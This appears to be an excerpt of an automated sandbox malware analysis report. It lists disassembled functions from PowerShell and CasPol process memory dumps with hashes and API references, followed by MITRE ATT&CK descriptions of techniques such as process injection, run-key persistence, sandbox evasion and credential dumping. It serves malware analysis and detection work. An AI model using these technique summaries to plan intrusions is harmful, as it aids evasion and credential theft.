Opcode Fuzzy Hash: d1d1a1e09e2ac18c0fd1b664d1e7bf9d5fa895f00979f871133f8f01892d0ada
Instruction Fuzzy Hash: 17118E797002168FCB54EF68D9849AFB7F6FBC8210B204569E51AC7741D730EC02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0750D4E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14cbba6a79a9bb6c99aee783c5e34d4823e31f58d72721b054dac31c05018453
Instruction ID: 2c9394979c66b6c81df91d451b066ba339f75cac457985f530ec5a443a5c2c45
Opcode Fuzzy Hash: 14cbba6a79a9bb6c99aee783c5e34d4823e31f58d72721b054dac31c05018453
Instruction Fuzzy Hash: 0F11BFB5A00219ABDB01CFA6CA59BEE7FF5FB4C349F280019E901A7291CB755D40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0750DAA3 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17515b8733e875ae541a11976f5608d297464c11798ce5be9837d723493e6287
Instruction ID: 0295fb776bb0fca93a965a86dd585eafadb225c30a1cd8583914e9406701e147
Opcode Fuzzy Hash: 17515b8733e875ae541a11976f5608d297464c11798ce5be9837d723493e6287
Instruction Fuzzy Hash: 26115B35A0061AAFCB00DF68D981D9EBBF6FF88310B008625E619D7750D771AD15CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0750D4F0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f2ce47e1eeed60687c22a7b4f2c9677919e41135eb1dff6facb236a545036f
Instruction ID: 7597b1e9a257406e336e80edbff49be0f7e9a5bc48a4fcf126b65a2e038e75bf
Opcode Fuzzy Hash: b7f2ce47e1eeed60687c22a7b4f2c9677919e41135eb1dff6facb236a545036f
Instruction Fuzzy Hash: 451161756002199BDB11DFA2CA59AEE7FB5FB4C344F140069F801A7291CB759D40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B2D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4148862783.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad27d6f8922f1d8e255957040cc9a754cb328228853c6aea5f2759c19db6df5
Instruction ID: 21f125fdee1ed465d4dbb6b821ece8364d210b0b2c242be39d3982f2c6066927
Opcode Fuzzy Hash: 2ad27d6f8922f1d8e255957040cc9a754cb328228853c6aea5f2759c19db6df5
Instruction Fuzzy Hash: 21019E7140D3D09FE7124B258C94752BFB8DF53228F0981CBE9888F2A7C2699C49CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0750DAA8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc00a1fbfa9a250e079071e99241874610b9a3bcca1010e8994c7bbf2bba6db
Instruction ID: 511b579de12142cec607105e4c416f7dfbf65d0652ee999ffe03360504584e76
Opcode Fuzzy Hash: 2fc00a1fbfa9a250e079071e99241874610b9a3bcca1010e8994c7bbf2bba6db
Instruction Fuzzy Hash: 2D015735A0061AAFCB00DFA8D981D9EBBF6FF88310B008625EA08D7750D771AD15CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02B2D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4148862783.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d0d1e8f03533789a2c1b842020af052f0e7b9b3ed56b43c8440688c2715750
Instruction ID: 4a19f53dbc58a34505df5d6dbae95ad2bd20c692046d830697b72955e2a5b241
Opcode Fuzzy Hash: 75d0d1e8f03533789a2c1b842020af052f0e7b9b3ed56b43c8440688c2715750
Instruction Fuzzy Hash: AC012671108391AAE7204F29CCC4B67FFD8DF45228F08C59AED4C4B296C379D849C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0750E413 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eaab48a57d50f83f8c5fc633d20956f6ff2bd829fecd0bd15ddacd6fb29bafa
Instruction ID: f8ac45b4d4ffad6f7e0d9270f501726d6dc240e0b89727108d9b95c6a765ad49
Opcode Fuzzy Hash: 1eaab48a57d50f83f8c5fc633d20956f6ff2bd829fecd0bd15ddacd6fb29bafa
Instruction Fuzzy Hash: 64F022313023509FD7119A369C44AEBBFA6EB85630B15813AE9468B381CA36DC0687E0

Uniqueness

Uniqueness Score: -1.00%

Function 075072E0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
Instruction ID: 2f1addc7ac752b055209e5a892d08ee60b8d95dd5987d24a20b0db1062a2c8ce
Opcode Fuzzy Hash: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
Instruction Fuzzy Hash: CFD06736104249AF8B01CE84D951C6A7F6AEB49214B14C049BE5946262C633E932EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07505C7F Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd40abb334fe95c9701f93f27d57708e259d9fb0707626bb46950659a8e8428c
Instruction ID: 76415f257a468306387fa62ddda86d1738f85c08989053848f27d668bff455db
Opcode Fuzzy Hash: dd40abb334fe95c9701f93f27d57708e259d9fb0707626bb46950659a8e8428c
Instruction Fuzzy Hash: 3FC09B71AC8E00AFDD44DD91554D7C6AB5AB723702F025213D10A566D5866450278D65

Uniqueness

Uniqueness Score: -1.00%

Function 07505C90 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4252490097.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c931803b409191c79686dd22cb1932da510534fa632120a8e566aa7d5adb4e5
Instruction ID: cf5d860ead6a21054b3bd275c205e13b8996cd92edc1cf64db4681db9094ae79
Opcode Fuzzy Hash: 6c931803b409191c79686dd22cb1932da510534fa632120a8e566aa7d5adb4e5
Instruction Fuzzy Hash: 26B0243114430077D50057415D05F0775375F70F01F10C013F304041C041700010DF15

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 3248, Parent PID: 4508COMMON

Execution Graph

Execution Coverage:	23.1%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	6.1%
Total number of Nodes:	49
Total number of Limit Nodes:	2

Executed Functions

Function 00B7E0F8 Relevance: 1.7, APIs: 1, Instructions: 185
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00B7E139

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1a81b904321aa31d4a105c74455ac6685256182571b8f2927e8efdf0ae1668a8
Instruction ID: cf3b8f264a344db4e4149039f402792860962e6a076cbd3e187061b8ca11016a
Opcode Fuzzy Hash: 1a81b904321aa31d4a105c74455ac6685256182571b8f2927e8efdf0ae1668a8
Instruction Fuzzy Hash: 0F716D34A04219DFCB14DFB4C5987ADBBF6AF48305F118868D52AAB2A0DB75EC45CB41

Uniqueness

Uniqueness Score: -1.00%

Function 1D63E983 Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D63EA1D

Memory Dump Source

Source File: 0000000D.00000002.7454708777.000000001D630000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d630000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fe7d1f5d864c86da90755680e646e8d079f3589ada1c426d92bc97a433df2c3d
Instruction ID: 3b6096b86386824cb44e0a11bce4037a8a3fe7013322d44e2fc05363b786d2ef
Opcode Fuzzy Hash: fe7d1f5d864c86da90755680e646e8d079f3589ada1c426d92bc97a433df2c3d
Instruction Fuzzy Hash: 4A02A638A05328CFCBA5EF24C898689B7B2BF49316F2042EDC44E92714CF365995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 1D63E96C Relevance: 1.8, APIs: 1, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D63EA1D

Memory Dump Source

Source File: 0000000D.00000002.7454708777.000000001D630000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d630000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 01a9f4fbefb004dd8d46a4a9f0fac1e3a94697095018f8d880b5ae35a58a28c5
Instruction ID: e8f015b06365ff496dec6a87c28244370be1dad945cc7f61d20bf25d2ca7eacd
Opcode Fuzzy Hash: 01a9f4fbefb004dd8d46a4a9f0fac1e3a94697095018f8d880b5ae35a58a28c5
Instruction Fuzzy Hash: 40029738A05328CFCBA5AF34C898689B7B6BF49316F2042EDD44E52714CF365995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 1D63E9BE Relevance: 1.8, APIs: 1, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D63EA1D

Memory Dump Source

Source File: 0000000D.00000002.7454708777.000000001D630000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d630000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 714b9e6e17b4c12d3259dd4b8bacf7ed37072cb67d0a29f4757c8cb85c421b39
Instruction ID: 415b221565c23357ab7e02724e18934672eb1d38e3a5f4996c04686662792b75
Opcode Fuzzy Hash: 714b9e6e17b4c12d3259dd4b8bacf7ed37072cb67d0a29f4757c8cb85c421b39
Instruction Fuzzy Hash: CD029638A05328CFCBA5EF64C898689B7B2BF49316F2042EDD44E92714CF365995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 1D63E9F9 Relevance: 1.8, APIs: 1, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D63EA1D

Memory Dump Source

Source File: 0000000D.00000002.7454708777.000000001D630000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d630000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 49ee2d895154804432c5b3dd27fe3cb811c903a819b966e7b39ede4322370547
Instruction ID: e05297d04cdeb50fccc3fcf5d81f6749957ceaff19b816a159987338194c3694
Opcode Fuzzy Hash: 49ee2d895154804432c5b3dd27fe3cb811c903a819b966e7b39ede4322370547
Instruction Fuzzy Hash: F8029638A05328CFCBA5EF64C898689B7B2BF49315F2042EDD44E92714CF365995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DF9E Relevance: 1.6, APIs: 1, Instructions: 123
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00B7E139

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4988aad71f9424a6f8e57b1b035a6a2abacc855c70f1d50c5858db9504304bc9
Instruction ID: 4afbcc7ae07fd9ef183a1b7bfb3a6ec750f2bb7f7e120fb1c31679675b971c64
Opcode Fuzzy Hash: 4988aad71f9424a6f8e57b1b035a6a2abacc855c70f1d50c5858db9504304bc9
Instruction Fuzzy Hash: EF41C130A05208DFC715DBB4C8956AD7BF2EF8A304F2584E9D119AB3A2CB35DD46C782

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DBF8 Relevance: 1.6, APIs: 1, Instructions: 116
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00B7DD11

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 85785eb5ababcd23beea8f3e698c24b1ee1cc2e2192a172db4a60699791c2218
Instruction ID: 927099b2e37cf671f882c0f3b31b37a255fe2d7886c49d4f81167cb11c7fb5d2
Opcode Fuzzy Hash: 85785eb5ababcd23beea8f3e698c24b1ee1cc2e2192a172db4a60699791c2218
Instruction Fuzzy Hash: C34132B0E042489FCB21CFA9C984ADEBBF5EF48340F1580AAE818AB350D7749905CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D941 Relevance: 1.6, APIs: 1, Instructions: 115
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00B7DA54

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8045d74a563743513e9518c56d89be3fe8c95d86f031036acf3a1fa020921741
Instruction ID: 99b6d77f3162a6f4beea37f1bc2850693fdd9739b371975b4811f438a0674a25
Opcode Fuzzy Hash: 8045d74a563743513e9518c56d89be3fe8c95d86f031036acf3a1fa020921741
Instruction Fuzzy Hash: 9C4136B0E093899FDB10CFA9C548A8EFFF5AF49304F28C1AAD518AB341C7759845CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D2A8 Relevance: 1.6, APIs: 1, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00B7DD11

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c2f204973486cf4156503b3fb20c1dabf110407960a0d48dcffc7fc90d74f087
Instruction ID: 68485f546ce2dddd2b7f3fc4c44892bf66bf807b0adea53ab20d7967764092a7
Opcode Fuzzy Hash: c2f204973486cf4156503b3fb20c1dabf110407960a0d48dcffc7fc90d74f087
Instruction Fuzzy Hash: 7231D2B1D002589FCB20CFAAC984A9EFBF5FF48750F25806AE819AB354D7749905CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B7D29C Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00B7DA54

Memory Dump Source

Source File: 0000000D.00000002.7398729371.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b70000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 19d794c413b46f38c250e3016099d43dee5ea6d331688f15ecce2b7b6c80ce29
Instruction ID: ee45cffbe42e6238f94307999d67cb2c0fc90a627446359367c07135bc41ae0b
Opcode Fuzzy Hash: 19d794c413b46f38c250e3016099d43dee5ea6d331688f15ecce2b7b6c80ce29
Instruction Fuzzy Hash: 3D3112B0D042499FCB14CFA9C584A8EFFF1BF48304F28C16AE518AB341C7759945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00E26E78 Relevance: 1.5, APIs: 1, Instructions: 16
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32 ref: 00E26E80

Memory Dump Source

Source File: 0000000D.00000002.7404713261.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 00E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e00000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 72c5ae228cf732dcde315cdd685a017f4154c9a6844e2de1123973992f807567
Instruction ID: 61ef9670b092762c2c79217b648112259b3ca21629eb2da73c06790d51f232ca
Opcode Fuzzy Hash: 72c5ae228cf732dcde315cdd685a017f4154c9a6844e2de1123973992f807567
Instruction Fuzzy Hash: 54D0A724741317A6FF38392845743FE12D79F02384FC50829CCC782044D72444C24500

Uniqueness

Uniqueness Score: -1.00%

Function 1D3CD3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7451960535.000000001D3CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3cd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 374f2374681c812a8a236873c35cc7edcd8c46bced5d53f30d02612892ad6b23
Instruction ID: d91aa290bac50112f232f49c644de4caa704e0bf4778e15fda65f7870e66506b
Opcode Fuzzy Hash: 374f2374681c812a8a236873c35cc7edcd8c46bced5d53f30d02612892ad6b23
Instruction Fuzzy Hash: CD212871504240EFDB01DF58E9C4B16BB65FB88724F20C67AEA090B246C736E856C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1D3CD4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7451960535.000000001D3CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3cd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb6b830ee903acef1c48d5ffd58ab327face5b40ba4a2e459df80c97f59566c
Instruction ID: 6e962fd0d156c61f4f42869ab87454a8b80df2d6b2d7cc7a71bb785dba51df80
Opcode Fuzzy Hash: 9cb6b830ee903acef1c48d5ffd58ab327face5b40ba4a2e459df80c97f59566c
Instruction Fuzzy Hash: 99212871504240DFDB01CF58E9C4B16BB65FB88718F20C66AE9090B346C376DC56C7A3

Uniqueness

Uniqueness Score: -1.00%

Function 1D3DE330 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7452473963.000000001D3DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3dd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e80a297a4ea68e16aeff01122cd8b416837ca5fcf72417407cd703692e1652f
Instruction ID: d46e2c6b8f44c0a11d4b5642b82b155a957993df38a926a598335730b2f65bdb
Opcode Fuzzy Hash: 7e80a297a4ea68e16aeff01122cd8b416837ca5fcf72417407cd703692e1652f
Instruction Fuzzy Hash: 97213372504740DFCB41CF54D8C0B26BFA5FB84714F60C669D9891B242C336D842CA72

Uniqueness

Uniqueness Score: -1.00%

Function 1D3CD3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7451960535.000000001D3CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3cd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ce9d9b6f3b17b536c6ba335d33d6b81466a47ba188ee626211195983b665a6
Instruction ID: 34814123b747edd3a3ae22d8a7fe7b5e485cbf358938a610da974167288a138a
Opcode Fuzzy Hash: 29ce9d9b6f3b17b536c6ba335d33d6b81466a47ba188ee626211195983b665a6
Instruction Fuzzy Hash: 04119675504280DFCB02CF14D5C5B16BF72FB94324F24C6AAE9494B656C336E856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D3CD4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7451960535.000000001D3CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3cd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ce9d9b6f3b17b536c6ba335d33d6b81466a47ba188ee626211195983b665a6
Instruction ID: 81bbafbd07aa3203ad7329cc5ef6c654aa423e19d8becb4edff91ecef0a2f17b
Opcode Fuzzy Hash: 29ce9d9b6f3b17b536c6ba335d33d6b81466a47ba188ee626211195983b665a6
Instruction Fuzzy Hash: 8011B676904280DFCB02CF14E9C4B16BF71FB94314F24C6AAE9094B756C37AD956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D3DE32B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.7452473963.000000001D3DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D3DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1d3dd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9321c9531d15d1b78d0d47d41730cc1b731cfa2c589f1a3faa10aa2a799788d4
Instruction ID: 777db5c52aa1fc10c6f2158b223499988736f110738a96f44d33e970896e558f
Opcode Fuzzy Hash: 9321c9531d15d1b78d0d47d41730cc1b731cfa2c589f1a3faa10aa2a799788d4
Instruction Fuzzy Hash: 9B118B76504684DFCB02CF50D5C4B25BFA2EB84314F24C6AAD8894B656C33AD45ACF62

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

